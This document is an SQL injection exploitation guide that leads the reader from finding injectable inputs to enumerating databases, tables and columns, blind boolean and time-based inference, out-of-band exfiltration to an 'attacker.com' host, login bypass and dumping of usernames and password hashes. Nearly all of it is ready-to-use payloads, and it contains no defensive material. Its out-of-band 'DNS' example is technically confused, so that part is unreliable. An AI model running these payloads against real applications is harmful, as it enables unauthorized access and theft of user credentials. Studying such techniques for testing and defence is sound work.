Complete SQL Injection (SQLi) Exploitation Guide

Introduction

SQL Injection (SQLi) is a widespread and dangerous web application vulnerability that occurs when an attacker manipulates SQL queries by injecting malicious SQL code. This can lead to unauthorized access, data exfiltration, and even full control of the affected system.

In this document, we will guide you through a structured process to identify and exploit SQL Injection vulnerabilities in an application. The goal is to extract sensitive information like database names, table names, column names, and user credentials by manipulating SQL queries through various forms of SQL Injection, including **In-Band SQLi**, **Blind SQLi**, **Boolean-based SQLi**, **Time-based SQLi**, and **Out-of-Band SQLi**.

Step-by-Step SQL Injection Process

1. Identifying SQL Injection Vulnerabilities

The first step is identifying points of vulnerability in the application where SQL Injection can occur. Look for user input fields that interact with a database (login forms, search boxes, URL parameters, etc.).

Basic Tests for SQL Injection

- **Single Quote Test**: Start by injecting a single quote (') or double quote (") into input fields. This can break SQL queries if not sanitized properly and cause errors, which can be indicative of SQLi vulnerability.
    - Example:
    - http://example.com/login?username='&password=''
- **Common Payloads**: Use common payloads to test for SQL Injection:
    - 1' OR '1'='1
    - admin' --
    - 1' OR 1=1 --
    - 1' UNION SELECT null,null,null --
- **Check for Error Messages**: If an error message appears, it may contain information about the database (e.g., the type of database, SQL query structure, etc.).

2. Exploiting the Vulnerability: In-Band SQL Injection

In-Band SQL Injection is one of the most common types of SQL Injection. It allows the attacker to both inject SQL code and retrieve data via the same communication channel.

Enumerating the Number of Columns

To start exploiting a Union-based SQLi, determine the number of columns returned by the SQL query:

1. Inject a simple payload like:
2. 1' UNION SELECT NULL--

If this causes no error, then continue adding NULL values:

1' UNION SELECT NULL, NULL, NULL--

Keep increasing the number of NULL values until the query succeeds, indicating the correct number of columns.

Enumerating Database Name

Once the correct number of columns is identified, the next step is to find the database name:

1. Use database() to reveal the current database:
2. 1' UNION SELECT NULL, NULL, database()--

This will return the name of the current database.

Enumerating Tables in the Database

Next, identify the tables in the database. Use information_schema to access metadata about the database:

1. Use a query like the following to list the tables:
2. 1' UNION SELECT NULL, NULL, table_name FROM information_schema.tables WHERE table_schema = 'current_database'--

Replace current_database with the actual database name you discovered.

Enumerating Columns in a Table

Once you have identified a table (e.g., users), the next step is to enumerate the columns in that table.

1. Use information_schema.columns to list the columns of a specific table:
2. 1' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name = 'users' AND table_schema = 'current_database'--

Extracting Data from Tables

Now that you know the table and columns, you can extract the data from the target table (e.g., the users table).

1. Query for specific columns like username and password:
2. 1' UNION SELECT username, password, NULL FROM users--

3. Blind SQL Injection

If the application does not display error messages or data directly, Blind SQL Injection techniques can be used to infer results based on the behavior of the application.

Boolean-Based Blind SQL Injection

In this case, you manipulate the query to return true or false, which can be inferred from the application's behavior (e.g., a change in response or page content).

1. **Testing for True/False Response**: You can test whether a specific condition is true or false by injecting a query that forces a true or false response:
2. 1' AND 1=1-- (True)
3. 1' AND 1=2-- (False)
4. **Extracting Database Name Using Boolean Logic**: To find the database name, use the following query:
5. 1' AND database() = 'sqli_database'--

If true, it means the database name is correct.

Time-Based Blind SQL Injection

Time-Based Blind SQL Injection relies on the response time to infer whether the query was successful.

1. **Injecting Time Delay**: Use SLEEP(x) to introduce a delay in the query response:
2. 1' UNION SELECT NULL, SLEEP(5)--

If the response takes 5 seconds to load, it confirms the query is successful.

3. **Testing Database Name with Time Delay**:
4. 1' UNION SELECT NULL, NULL, SLEEP(5) WHERE database() LIKE 's%'--

If there is a delay, it means the database name starts with "s."

4. Out-of-Band SQL Injection

Out-of-Band SQL Injection relies on the ability of the database to make external requests (e.g., HTTP, DNS) based on the query result.

1. **Triggering Out-of-Band Requests**: Use DNS or HTTP requests to send data back to the attacker’s server:

2. 1' UNION SELECT NULL, NULL, LOAD_FILE('\\\\attacker.com\\file.txt')--

This query will cause the database to make a request to the attacker's server and return the contents of file.txt.

3. **Using DNS Requests**: The attacker can craft queries that force the database to resolve DNS names, which the attacker can monitor:

4. 1' UNION SELECT NULL, NULL, 'example.com' INTO OUTFILE '/tmp/attacker-request.log'--

5. Authentication Bypass with SQL Injection

One of the most common SQL Injection use cases is bypassing authentication (login forms).

1. **Bypassing Login Forms**: Inject payloads like admin' -- or 1' OR 1=1-- into the username or password fields to bypass authentication:

2. username='admin' -- password=''

This will comment out the rest of the query and allow access with the username admin.

3. **Using Logical Operators**: In some cases, attackers use OR logic to make sure the query always returns true:

4. 1' OR 1=1--

6. Exploiting SQL Injection for Credential Extraction

Once you have identified the columns and tables (like users), you can extract credentials from the database.

1. **Extracting Passwords**: Use the UNION SELECT statement to dump usernames and passwords:

2. 1' UNION SELECT username, password, NULL FROM users--

3. **Extracting Hashes**: If passwords are hashed, you can extract the hash values for offline cracking.